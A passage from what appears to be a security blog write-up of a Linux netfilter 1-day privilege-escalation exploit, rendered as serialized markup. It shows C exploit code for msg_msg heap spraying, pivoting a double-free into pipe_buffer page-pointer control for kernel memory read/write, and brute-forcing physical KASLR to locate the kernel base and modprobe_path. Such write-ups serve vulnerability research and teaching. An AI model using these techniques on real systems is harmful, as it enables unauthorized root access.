m_list",{"type":23,"tag":75,"props":68695,"children":68696},{"style":94},[68697],{"type":29,"value":245},{"type":23,"tag":75,"props":68699,"children":68700},{"class":77,"line":138},[68701,68706],{"type":23,"tag":75,"props":68702,"children":68703},{"style":82},[68704],{"type":29,"value":68705}," long",{"type":23,"tag":75,"props":68707,"children":68708},{"style":94},[68709],{"type":29,"value":68710}," m_type;\n",{"type":23,"tag":75,"props":68712,"children":68713},{"class":77,"line":161},[68714,68719,68724],{"type":23,"tag":75,"props":68715,"children":68716},{"style":82},[68717],{"type":29,"value":68718}," size_t",{"type":23,"tag":75,"props":68720,"children":68721},{"style":94},[68722],{"type":29,"value":68723}," m_ts;",{"type":23,"tag":75,"props":68725,"children":68726},{"style":3621},[68727],{"type":29,"value":68728},"  /* message text size */\n",{"type":23,"tag":75,"props":68730,"children":68731},{"class":77,"line":196},[68732,68736,68741,68745,68750],{"type":23,"tag":75,"props":68733,"children":68734},{"style":82},[68735],{"type":29,"value":396},{"type":23,"tag":75,"props":68737,"children":68738},{"style":104},[68739],{"type":29,"value":68740}," msg_msgseg",{"type":23,"tag":75,"props":68742,"children":68743},{"style":82},[68744],{"type":29,"value":579},{"type":23,"tag":75,"props":68746,"children":68747},{"style":110},[68748],{"type":29,"value":68749},"next",{"type":23,"tag":75,"props":68751,"children":68752},{"style":94},[68753],{"type":29,"value":245},{"type":23,"tag":75,"props":68755,"children":68756},{"class":77,"line":220},[68757,68761,68765],{"type":23,"tag":75,"props":68758,"children":68759},{"style":82},[68760],{"type":29,"value":62234},{"type":23,"tag":75,"props":68762,"children":68763},{"style":209},[68764],{"type":29,"value":579},{"type":23,"tag":75,"props":68766,"children":68767},{"style":94},[68768],{"type":29,"value":68769},"security;\n",{"type":23,"tag":75,"props":68771,"children":68772},{"class":77,"line":248},[68773],{"type":23,"tag":75,"props":68774,"children":68775},{"style":3621},[68776],{"type":29,"value":68777}," /* the actual message follows immediately */\n",{"type":23,"tag":75,"props":68779,"children":68780},{"class":77,"line":270},[68781],{"type":23,"tag":75,"props":68782,"children":68783},{"style":94},[68784],{"type":29,"value":27801},{"type":23,"tag":75,"props":68786,"children":68787},{"class":77,"line":279},[68788],{"type":23,"tag":75,"props":68789,"children":68790},{"style":94},[68791],{"type":29,"value":21566},{"type":23,"tag":75,"props":68793,"children":68794},{"class":77,"line":303},[68795],{"type":23,"tag":75,"props":68796,"children":68797},{"style":94},[68798],{"type":29,"value":68799},"struct list_head {\n",{"type":23,"tag":75,"props":68801,"children":68802},{"class":77,"line":322},[68803,68807,68811,68815,68819,68823,68827],{"type":23,"tag":75,"props":68804,"children":68805},{"style":82},[68806],{"type":29,"value":396},{"type":23,"tag":75,"props":68808,"children":68809},{"style":104},[68810],{"type":29,"value":68688},{"type":23,"tag":75,"props":68812,"children":68813},{"style":82},[68814],{"type":29,"value":579},{"type":23,"tag":75,"props":68816,"children":68817},{"style":110},[68818],{"type":29,"value":68749},{"type":23,"tag":75,"props":68820,"children":68821},{"style":94},[68822],{"type":29,"value":611},{"type":23,"tag":75,"props":68824,"children":68825},{"style":209},[68826],{"type":29,"value":601},{"type":23,"tag":75,"props":68828,"children":68829},{"style":94},[68830],{"type":29,"value":68831},"prev;\n",{"type":23,"tag":75,"props":68833,"children":68834},{"class":77,"line":340},[68835],{"type":23,"tag":75,"props":68836,"children":68837},{"style":94},[68838],{"type":29,"value":27801},{"type":23,"tag":32,"props":68840,"children":68841},{},[68842,68844,68850,68852,68857],{"type":29,"value":68843},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":71,"props":68845,"children":68847},{"className":68846},[],[68848],{"type":29,"value":68849},"mlist.next",{"type":29,"value":68851}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":71,"props":68853,"children":68855},{"className":68854},[],[68856],{"type":29,"value":68628},{"type":29,"value":68858}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":32,"props":68860,"children":68861},{},[68862,68864,68869,68871],{"type":29,"value":68863},"By incrementing the next pointer of our controllable ",{"type":23,"tag":71,"props":68865,"children":68867},{"className":68866},[],[68868],{"type":29,"value":68628},{"type":29,"value":68870}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":15189,"props":68872,"children":68874},{"alt":61763,"src":68873},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":64,"props":68876,"children":68878},{"className":40306,"code":68877,"language":40308,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[68879],{"type":23,"tag":71,"props":68880,"children":68881},{"__ignoreMap":7},[68882,68889,68897,68923,68940,68988,68995,69035,69067,69074,69095,69102,69148,69212,69238,69284,69308,69352,69359,69367,69403,69427,69434,69454,69461],{"type":23,"tag":75,"props":68883,"children":68884},{"class":77,"line":78},[68885],{"type":23,"tag":75,"props":68886,"children":68887},{"style":94},[68888],{"type":29,"value":21566},{"type":23,"tag":75,"props":68890,"children":68891},{"class":77,"line":100},[68892],{"type":23,"tag":75,"props":68893,"children":68894},{"style":94},[68895],{"type":29,"value":68896},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":75,"props":68898,"children":68899},{"class":77,"line":121},[68900,68905,68909,68913,68918],{"type":23,"tag":75,"props":68901,"children":68902},{"style":94},[68903],{"type":29,"value":68904},"    msg_t *msg = calloc(1, ",{"type":23,"tag":75,"props":68906,"children":68907},{"style":104},[68908],{"type":29,"value":66512},{"type":23,"tag":75,"props":68910,"children":68911},{"style":94},[68912],{"type":29,"value":643},{"type":23,"tag":75,"props":68914,"children":68915},{"style":104},[68916],{"type":29,"value":68917},"msg_t",{"type":23,"tag":75,"props":68919,"children":68920},{"style":94},[68921],{"type":29,"value":68922},") + 0xe8 - 48);\n",{"type":23,"tag":75,"props":68924,"children":68925},{"class":77,"line":138},[68926,68930,68935],{"type":23,"tag":75,"props":68927,"children":68928},{"style":82},[68929],{"type":29,"value":30300},{"type":23,"tag":75,"props":68931,"children":68932},{"style":110},[68933],{"type":29,"value":68934}," qid",{"type":23,"tag":75,"props":68936,"children":68937},{"style":94},[68938],{"type":29,"value":68939},"[SPRAY];\n",{"type":23,"tag":75,"props":68941,"children":68942},{"class":77,"line":161},[68943,68947,68951,68955,68959,68963,68967,68971,68975,68980,68984],{"type":23,"tag":75,"props":68944,"children":68945},{"style":175},[68946],{"type":29,"value":711},{"type":23,"tag":75,"props":68948,"children":68949},{"style":94},[68950],{"type":29,"value":183},{"type":23,"tag":75,"props":68952,"children":68953},{"style":82},[68954],{"type":29,"value":30270},{"type":23,"tag":75,"props":68956,"children":68957},{"style":94},[68958],{"type":29,"value":65728},{"type":23,"tag":75,"props":68960,"children":68961},{"style":209},[68962],{"type":29,"value":212},{"type":23,"tag":75,"props":68964,"children":68965},{"style":237},[68966],{"type":29,"value":240},{"type":23,"tag":75,"props":68968,"children":68969},{"style":94},[68970],{"type":29,"value":62418},{"type":23,"tag":75,"props":68972,"children":68973},{"style":209},[68974],{"type":29,"value":295},{"type":23,"tag":75,"props":68976,"children":68977},{"style":94},[68978],{"type":29,"value":68979}," SPRAY; i",{"type":23,"tag":75,"props":68981,"children":68982},{"style":209},[68983],{"type":29,"value":62454},{"type":23,"tag":75,"props":68985,"children":68986},{"style":94},[68987],{"type":29,"value":653},{"type":23,"tag":75,"props":68989,"children":68990},{"class":77,"line":196},[68991],{"type":23,"tag":75,"props":68992,"children":68993},{"style":94},[68994],{"type":29,"value":40383},{"type":23,"tag":75,"props":68996,"children":68997},{"class":77,"line":220},[68998,69003,69007,69011,69016,69021,69026,69030],{"type":23,"tag":75,"props":68999,"children":69000},{"style":110},[69001],{"type":29,"value":69002},"        qid",{"type":23,"tag":75,"props":69004,"children":69005},{"style":94},[69006],{"type":29,"value":65780},{"type":23,"tag":75,"props":69008,"children":69009},{"style":209},[69010],{"type":29,"value":212},{"type":23,"tag":75,"props":69012,"children":69013},{"style":88},[69014],{"type":29,"value":69015}," msgget",{"type":23,"tag":75,"props":69017,"children":69018},{"style":94},[69019],{"type":29,"value":69020},"(IPC_PRIVATE, ",{"type":23,"tag":75,"props":69022,"children":69023},{"style":237},[69024],{"type":29,"value":69025},"0666",{"type":23,"tag":75,"props":69027,"children":69028},{"style":209},[69029],{"type":29,"value":15544},{"type":23,"tag":75,"props":69031,"children":69032},{"style":94},[69033],{"type":29,"value":69034}," IPC_CREAT);\n",{"type":23,"tag":75,"props":69036,"children":69037},{"class":77,"line":248},[69038,69042,69046,69051,69055,69059,69063],{"type":23,"tag":75,"props":69039,"children":69040},{"style":175},[69041],{"type":29,"value":2445},{"type":23,"tag":75,"props":69043,"children":69044},{"style":94},[69045],{"type":29,"value":183},{"type":23,"tag":75,"props":69047,"children":69048},{"style":110},[69049],{"type":29,"value":69050},"qid",{"type":23,"tag":75,"props":69052,"children":69053},{"style":94},[69054],{"type":29,"value":65780},{"type":23,"tag":75,"props":69056,"children":69057},{"style":209},[69058],{"type":29,"value":295},{"type":23,"tag":75,"props":69060,"children":69061},{"style":237},[69062],{"type":29,"value":240},{"type":23,"tag":75,"props":69064,"children":69065},{"style":94},[69066],{"type":29,"value":653},{"type":23,"tag":75,"props":69068,"children":69069},{"class":77,"line":270},[69070],{"type":23,"tag":75,"props":69071,"children":69072},{"style":94},[69073],{"type":29,"value":42854},{"type":23,"tag":75,"props":69075,"children":69076},{"class":77,"line":279},[69077,69082,69086,69091],{"type":23,"tag":75,"props":69078,"children":69079},{"style":88},[69080],{"type":29,"value":69081},"            perror",{"type":23,"tag":75,"props":69083,"children":69084},{"style":94},[69085],{"type":29,"value":643},{"type":23,"tag":75,"props":69087,"children":69088},{"style":1266},[69089],{"type":29,"value":69090},"\"[-] msgget\"",{"type":23,"tag":75,"props":69092,"children":69093},{"style":94},[69094],{"type":29,"value":15099},{"type":23,"tag":75,"props":69096,"children":69097},{"class":77,"line":303},[69098],{"type":23,"tag":75,"props":69099,"children":69100},{"style":94},[69101],{"type":29,"value":2503},{"type":23,"tag":75,"props":69103,"children":69104},{"class":77,"line":322},[69105,69109,69113,69118,69122,69126,69130,69134,69139,69143],{"type":23,"tag":75,"props":69106,"children":69107},{"style":209},[69108],{"type":29,"value":19010},{"type":23,"tag":75,"props":69110,"children":69111},{"style":94},[69112],{"type":29,"value":643},{"type":23,"tag":75,"props":69114,"children":69115},{"style":82},[69116],{"type":29,"value":69117},"uint32_t",{"type":23,"tag":75,"props":69119,"children":69120},{"style":209},[69121],{"type":29,"value":579},{"type":23,"tag":75,"props":69123,"children":69124},{"style":94},[69125],{"type":29,"value":1347},{"type":23,"tag":75,"props":69127,"children":69128},{"style":110},[69129],{"type":29,"value":688},{"type":23,"tag":75,"props":69131,"children":69132},{"style":94},[69133],{"type":29,"value":1156},{"type":23,"tag":75,"props":69135,"children":69136},{"style":110},[69137],{"type":29,"value":69138},"mtext",{"type":23,"tag":75,"props":69140,"children":69141},{"style":209},[69142],{"type":29,"value":1193},{"type":23,"tag":75,"props":69144,"children":69145},{"style":94},[69146],{"type":29,"value":69147}," i;\n",{"type":23,"tag":75,"props":69149,"children":69150},{"class":77,"line":340},[69151,69155,69159,69163,69167,69171,69175,69179,69183,69187,69191,69195,69199,69203,69208],{"type":23,"tag":75,"props":69152,"children":69153},{"style":209},[69154],{"type":29,"value":19010},{"type":23,"tag":75,"props":69156,"children":69157},{"style":94},[69158],{"type":29,"value":643},{"type":23,"tag":75,"props":69160,"children":69161},{"style":82},[69162],{"type":29,"value":66818},{"type":23,"tag":75,"props":69164,"children":69165},{"style":209},[69166],{"type":29,"value":579},{"type":23,"tag":75,"props":69168,"children":69169},{"style":94},[69170],{"type":29,"value":1347},{"type":23,"tag":75,"props":69172,"children":69173},{"style":209},[69174],{"type":29,"value":1277},{"type":23,"tag":75,"props":69176,"children":69177},{"style":110},[69178],{"type":29,"value":688},{"type":23,"tag":75,"props":69180,"children":69181},{"style":94},[69182],{"type":29,"value":1156},{"type":23,"tag":75,"props":69184,"children":69185},{"style":110},[69186],{"type":29,"value":69138},{"type":23,"tag":75,"props":69188,"children":69189},{"style":94},[69190],{"type":29,"value":814},{"type":23,"tag":75,"props":69192,"children":69193},{"style":237},[69194],{"type":29,"value":15349},{"type":23,"tag":75,"props":69196,"children":69197},{"style":94},[69198],{"type":29,"value":13463},{"type":23,"tag":75,"props":69200,"children":69201},{"style":209},[69202],{"type":29,"value":212},{"type":23,"tag":75,"props":69204,"children":69205},{"style":237},[69206],{"type":29,"value":69207}," 0xdeadbeefcafebabe",{"type":23,"tag":75,"props":69209,"children":69210},{"style":94},[69211],{"type":29,"value":245},{"type":23,"tag":75,"props":69213,"children":69214},{"class":77,"line":349},[69215,69220,69224,69229,69233],{"type":23,"tag":75,"props":69216,"children":69217},{"style":110},[69218],{"type":29,"value":69219},"        msg",{"type":23,"tag":75,"props":69221,"children":69222},{"style":94},[69223],{"type":29,"value":1156},{"type":23,"tag":75,"props":69225,"children":69226},{"style":110},[69227],{"type":29,"value":69228},"mtype",{"type":23,"tag":75,"props":69230,"children":69231},{"style":209},[69232],{"type":29,"value":1193},{"type":23,"tag":75,"props":69234,"children":69235},{"style":94},[69236],{"type":29,"value":69237}," MTYPE_PRIMARY;\n",{"type":23,"tag":75,"props":69239,"children":69240},{"class":77,"line":363},[69241,69246,69250,69254,69259,69263,69267,69272,69276,69280],{"type":23,"tag":75,"props":69242,"children":69243},{"style":88},[69244],{"type":29,"value":69245},"        msgsnd",{"type":23,"tag":75,"props":69247,"children":69248},{"style":94},[69249],{"type":29,"value":643},{"type":23,"tag":75,"props":69251,"children":69252},{"style":110},[69253],{"type":29,"value":69050},{"type":23,"tag":75,"props":69255,"children":69256},{"style":94},[69257],{"type":29,"value":69258},"[i], msg, ",{"type":23,"tag":75,"props":69260,"children":69261},{"style":237},[69262],{"type":29,"value":67155},{"type":23,"tag":75,"props":69264,"children":69265},{"style":209},[69266],{"type":29,"value":62440},{"type":23,"tag":75,"props":69268,"children":69269},{"style":237},[69270],{"type":29,"value":69271}," 48",{"type":23,"tag":75,"props":69273,"children":69274},{"style":94},[69275],{"type":29,"value":611},{"type":23,"tag":75,"props":69277,"children":69278},{"style":237},[69279],{"type":29,"value":648},{"type":23,"tag":75,"props":69281,"children":69282},{"style":94},[69283],{"type":29,"value":15099},{"type":23,"tag":75,"props":69285,"children":69286},{"class":77,"line":656},[69287,69291,69295,69299,69303],{"type":23,"tag":75,"props":69288,"children":69289},{"style":110},[69290],{"type":29,"value":69219},{"type":23,"tag":75,"props":69292,"children":69293},{"style":94},[69294],{"type":29,"value":1156},{"type":23,"tag":75,"props":69296,"children":69297},{"style":110},[69298],{"type":29,"value":69228},{"type":23,"tag":75,"props":69300,"children":69301},{"style":209},[69302],{"type":29,"value":1193},{"type":23,"tag":75,"props":69304,"children":69305},{"style":94},[69306],{"type":29,"value":69307}," MTYPE_SECONDARY;\n",{"type":23,"tag":75,"props":69309,"children":69310},{"class":77,"line":705},[69311,69315,69319,69323,69327,69332,69336,69340,69344,69348],{"type":23,"tag":75,"props":69312,"children":69313},{"style":88},[69314],{"type":29,"value":69245},{"type":23,"tag":75,"props":69316,"children":69317},{"style":94},[69318],{"type":29,"value":643},{"type":23,"tag":75,"props":69320,"children":69321},{"style":110},[69322],{"type":29,"value":69050},{"type":23,"tag":75,"props":69324,"children":69325},{"style":94},[69326],{"type":29,"value":69258},{"type":23,"tag":75,"props":69328,"children":69329},{"style":237},[69330],{"type":29,"value":69331},"1024",{"type":23,"tag":75,"props":69333,"children":69334},{"style":209},[69335],{"type":29,"value":62440},{"type":23,"tag":75,"props":69337,"children":69338},{"style":237},[69339],{"type":29,"value":69271},{"type":23,"tag":75,"props":69341,"children":69342},{"style":94},[69343],{"type":29,"value":611},{"type":23,"tag":75,"props":69345,"children":69346},{"style":237},[69347],{"type":29,"value":648},{"type":23,"tag":75,"props":69349,"children":69350},{"style":94},[69351],{"type":29,"value":15099},{"type":23,"tag":75,"props":69353,"children":69354},{"class":77,"line":787},[69355],{"type":23,"tag":75,"props":69356,"children":69357},{"style":94},[69358],{"type":29,"value":346},{"type":23,"tag":75,"props":69360,"children":69361},{"class":77,"line":826},[69362],{"type":23,"tag":75,"props":69363,"children":69364},{"style":3621},[69365],{"type":29,"value":69366},"    // Prepare evil msg\n",{"type":23,"tag":75,"props":69368,"children":69369},{"class":77,"line":834},[69370,69374,69379,69383,69387,69391,69395,69399],{"type":23,"tag":75,"props":69371,"children":69372},{"style":82},[69373],{"type":29,"value":30300},{"type":23,"tag":75,"props":69375,"children":69376},{"style":94},[69377],{"type":29,"value":69378}," evilqid ",{"type":23,"tag":75,"props":69380,"children":69381},{"style":209},[69382],{"type":29,"value":212},{"type":23,"tag":75,"props":69384,"children":69385},{"style":88},[69386],{"type":29,"value":69015},{"type":23,"tag":75,"props":69388,"children":69389},{"style":94},[69390],{"type":29,"value":69020},{"type":23,"tag":75,"props":69392,"children":69393},{"style":237},[69394],{"type":29,"value":69025},{"type":23,"tag":75,"props":69396,"children":69397},{"style":209},[69398],{"type":29,"value":15544},{"type":23,"tag":75,"props":69400,"children":69401},{"style":94},[69402],{"type":29,"value":69034},{"type":23,"tag":75,"props":69404,"children":69405},{"class":77,"line":881},[69406,69410,69415,69419,69423],{"type":23,"tag":75,"props":69407,"children":69408},{"style":175},[69409],{"type":29,"value":1363},{"type":23,"tag":75,"props":69411,"children":69412},{"style":94},[69413],{"type":29,"value":69414}," (evilqid ",{"type":23,"tag":75,"props":69416,"children":69417},{"style":209},[69418],{"type":29,"value":295},{"type":23,"tag":75,"props":69420,"children":69421},{"style":237},[69422],{"type":29,"value":240},{"type":23,"tag":75,"props":69424,"children":69425},{"style":94},[69426],{"type":29,"value":653},{"type":23,"tag":75,"props":69428,"children":69429},{"class":77,"line":3355},[69430],{"type":23,"tag":75,"props":69431,"children":69432},{"style":94},[69433],{"type":29,"value":40383},{"type":23,"tag":75,"props":69435,"children":69436},{"class":77,"line":3390},[69437,69442,69446,69450],{"type":23,"tag":75,"props":69438,"children":69439},{"style":88},[69440],{"type":29,"value":69441},"        perror",{"type":23,"tag":75,"props":69443,"children":69444},{"style":94},[69445],{"type":29,"value":643},{"type":23,"tag":75,"props":69447,"children":69448},{"style":1266},[69449],{"type":29,"value":69090},{"type":23,"tag":75,"props":69451,"children":69452},{"style":94},[69453],{"type":29,"value":15099},{"type":23,"tag":75,"props":69455,"children":69456},{"class":77,"line":3423},[69457],{"type":23,"tag":75,"props":69458,"children":69459},{"style":94},[69460],{"type":29,"value":346},{"type":23,"tag":75,"props":69462,"children":69463},{"class":77,"line":3436},[69464],{"type":23,"tag":75,"props":69465,"children":69466},{"style":94},[69467],{"type":29,"value":69468},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":923,"props":69470,"children":69472},{"id":69471},"using-pipe_buffer-page-pointer-for-physical-readwrite",[69473],{"type":29,"value":69474},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":32,"props":69476,"children":69477},{},[69478,69480,69486,69487,69493,69494,69500,69502,69508],{"type":29,"value":69479},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":71,"props":69481,"children":69483},{"className":69482},[],[69484],{"type":29,"value":69485},"kmalloc-1k",{"type":29,"value":2721},{"type":23,"tag":71,"props":69488,"children":69490},{"className":69489},[],[69491],{"type":29,"value":69492},"overlap pipe_buffer",{"type":29,"value":32719},{"type":23,"tag":71,"props":69495,"children":69497},{"className":69496},[],[69498],{"type":29,"value":69499},"skbuf",{"type":29,"value":69501}," data to control the ",{"type":23,"tag":71,"props":69503,"children":69505},{"className":69504},[],[69506],{"type":29,"value":69507},"page",{"type":29,"value":69509}," field.",{"type":23,"tag":32,"props":69511,"children":69512},{},[69513,69514,69519,69521,69527,69529],{"type":29,"value":2846},{"type":23,"tag":71,"props":69515,"children":69517},{"className":69516},[],[69518],{"type":29,"value":69507},{"type":29,"value":69520}," field is a pointer into ",{"type":23,"tag":71,"props":69522,"children":69524},{"className":69523},[],[69525],{"type":29,"value":69526},"vmemmap_base",{"type":29,"value":69528},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":15189,"props":69530,"children":69532},{"alt":61763,"src":69531},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":32,"props":69534,"children":69535},{},[69536,69538,69543],{"type":29,"value":69537},"This now allows us to navigate the ",{"type":23,"tag":71,"props":69539,"children":69541},{"className":69540},[],[69542],{"type":29,"value":69526},{"type":29,"value":69544}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":923,"props":69546,"children":69548},{"id":69547},"bruteforce-physical-kernel-base",[69549],{"type":29,"value":69550},"Bruteforce physical kernel base",{"type":23,"tag":32,"props":69552,"children":69553},{},[69554,69556,69562,69564,69569,69571,69577],{"type":29,"value":69555},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":71,"props":69557,"children":69559},{"className":69558},[],[69560],{"type":29,"value":69561},"modprobe_path",{"type":29,"value":69563},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":71,"props":69565,"children":69567},{"className":69566},[],[69568],{"type":29,"value":69526},{"type":29,"value":69570}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":71,"props":69572,"children":69574},{"className":69573},[],[69575],{"type":29,"value":69576},"PHYSICAL_ALIGN",{"type":29,"value":69578}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":64,"props":69580,"children":69582},{"className":40306,"code":69581,"language":40308,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[69583],{"type":23,"tag":71,"props":69584,"children":69585},{"__ignoreMap":7},[69586,69593,69601,69609,69633,69666,69686,69726,69733,69777,69811,69838,69874,69881,69927,69934,69964,69977,70041,70048,70060,70067,70074,70081,70107,70114,70134,70146,70153,70160,70167],{"type":23,"tag":75,"props":69587,"children":69588},{"class":77,"line":78},[69589],{"type":23,"tag":75,"props":69590,"children":69591},{"style":94},[69592],{"type":29,"value":21566},{"type":23,"tag":75,"props":69594,"children":69595},{"class":77,"line":100},[69596],{"type":23,"tag":75,"props":69597,"children":69598},{"style":94},[69599],{"type":29,"value":69600},"// Bruteforce phys-KASLR\n",{"type":23,"tag":75,"props":69602,"children":69603},{"class":77,"line":121},[69604],{"type":23,"tag":75,"props":69605,"children":69606},{"style":94},[69607],{"type":29,"value":69608},"    uint64_t kernel_base;\n",{"type":23,"tag":75,"props":69610,"children":69611},{"class":77,"line":138},[69612,69616,69621,69625,69629],{"type":23,"tag":75,"props":69613,"children":69614},{"style":82},[69615],{"type":29,"value":57665},{"type":23,"tag":75,"props":69617,"children":69618},{"style":94},[69619],{"type":29,"value":69620}," found ",{"type":23,"tag":75,"props":69622,"children":69623},{"style":209},[69624],{"type":29,"value":212},{"type":23,"tag":75,"props":69626,"children":69627},{"style":82},[69628],{"type":29,"value":20313},{"type":23,"tag":75,"props":69630,"children":69631},{"style":94},[69632],{"type":29,"value":245},{"type":23,"tag":75,"props":69634,"children":69635},{"class":77,"line":161},[69636,69641,69645,69650,69654,69658,69662],{"type":23,"tag":75,"props":69637,"children":69638},{"style":82},[69639],{"type":29,"value":69640},"    uint8_t",{"type":23,"tag":75,"props":69642,"children":69643},{"style":110},[69644],{"type":29,"value":10592},{"type":23,"tag":75,"props":69646,"children":69647},{"style":94},[69648],{"type":29,"value":69649},"[PAGE_SIZE] ",{"type":23,"tag":75,"props":69651,"children":69652},{"style":209},[69653],{"type":29,"value":212},{"type":23,"tag":75,"props":69655,"children":69656},{"style":94},[69657],{"type":29,"value":56409},{"type":23,"tag":75,"props":69659,"children":69660},{"style":237},[69661],{"type":29,"value":648},{"type":23,"tag":75,"props":69663,"children":69664},{"style":94},[69665],{"type":29,"value":27801},{"type":23,"tag":75,"props":69667,"children":69668},{"class":77,"line":196},[69669,69673,69677,69682],{"type":23,"tag":75,"props":69670,"children":69671},{"style":88},[69672],{"type":29,"value":66690},{"type":23,"tag":75,"props":69674,"children":69675},{"style":94},[69676],{"type":29,"value":643},{"type":23,"tag":75,"props":69678,"children":69679},{"style":1266},[69680],{"type":29,"value":69681},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":75,"props":69683,"children":69684},{"style":94},[69685],{"type":29,"value":15099},{"type":23,"tag":75,"props":69687,"children":69688},{"class":77,"line":220},[69689,69693,69697,69701,69705,69709,69713,69718,69722],{"type":23,"tag":75,"props":69690,"children":69691},{"style":175},[69692],{"type":29,"value":711},{"type":23,"tag":75,"props":69694,"children":69695},{"style":94},[69696],{"type":29,"value":183},{"type":23,"tag":75,"props":69698,"children":69699},{"style":82},[69700],{"type":29,"value":66818},{"type":23,"tag":75,"props":69702,"children":69703},{"style":94},[69704],{"type":29,"value":65728},{"type":23,"tag":75,"props":69706,"children":69707},{"style":209},[69708],{"type":29,"value":212},{"type":23,"tag":75,"props":69710,"children":69711},{"style":237},[69712],{"type":29,"value":240},{"type":23,"tag":75,"props":69714,"children":69715},{"style":94},[69716],{"type":29,"value":69717},";; i",{"type":23,"tag":75,"props":69719,"children":69720},{"style":209},[69721],{"type":29,"value":62454},{"type":23,"tag":75,"props":69723,"children":69724},{"style":94},[69725],{"type":29,"value":653},{"type":23,"tag":75,"props":69727,"children":69728},{"class":77,"line":248},[69729],{"type":23,"tag":75,"props":69730,"children":69731},{"style":94},[69732],{"type":29,"value":40383},{"type":23,"tag":75,"props":69734,"children":69735},{"class":77,"line":270},[69736,69741,69745,69750,69754,69759,69763,69768,69772],{"type":23,"tag":75,"props":69737,"children":69738},{"style":94},[69739],{"type":29,"value":69740},"        kernel_base ",{"type":23,"tag":75,"props":69742,"children":69743},{"style":209},[69744],{"type":29,"value":212},{"type":23,"tag":75,"props":69746,"children":69747},{"style":237},[69748],{"type":29,"value":69749}," 0x40",{"type":23,"tag":75,"props":69751,"children":69752},{"style":209},[69753],{"type":29,"value":579},{"type":23,"tag":75,"props":69755,"children":69756},{"style":94},[69757],{"type":29,"value":69758}," ((PHYSICAL_ALIGN ",{"type":23,"tag":75,"props":69760,"children":69761},{"style":209},[69762],{"type":29,"value":601},{"type":23,"tag":75,"props":69764,"children":69765},{"style":94},[69766],{"type":29,"value":69767}," i) ",{"type":23,"tag":75,"props":69769,"children":69770},{"style":209},[69771],{"type":29,"value":24005},{"type":23,"tag":75,"props":69773,"children":69774},{"style":94},[69775],{"type":29,"value":69776}," PAGE_SHIFT);\n",{"type":23,"tag":75,"props":69778,"children":69779},{"class":77,"line":279},[69780,69785,69789,69793,69797,69802,69806],{"type":23,"tag":75,"props":69781,"children":69782},{"style":110},[69783],{"type":29,"value":69784},"        pipebuf",{"type":23,"tag":75,"props":69786,"children":69787},{"style":94},[69788],{"type":29,"value":1156},{"type":23,"tag":75,"props":69790,"children":69791},{"style":110},[69792],{"type":29,"value":69507},{"type":23,"tag":75,"props":69794,"children":69795},{"style":209},[69796],{"type":29,"value":1193},{"type":23,"tag":75,"props":69798,"children":69799},{"style":94},[69800],{"type":29,"value":69801}," vmemmap_base ",{"type":23,"tag":75,"props":69803,"children":69804},{"style":209},[69805],{"type":29,"value":7862},{"type":23,"tag":75,"props":69807,"children":69808},{"style":94},[69809],{"type":29,"value":69810}," 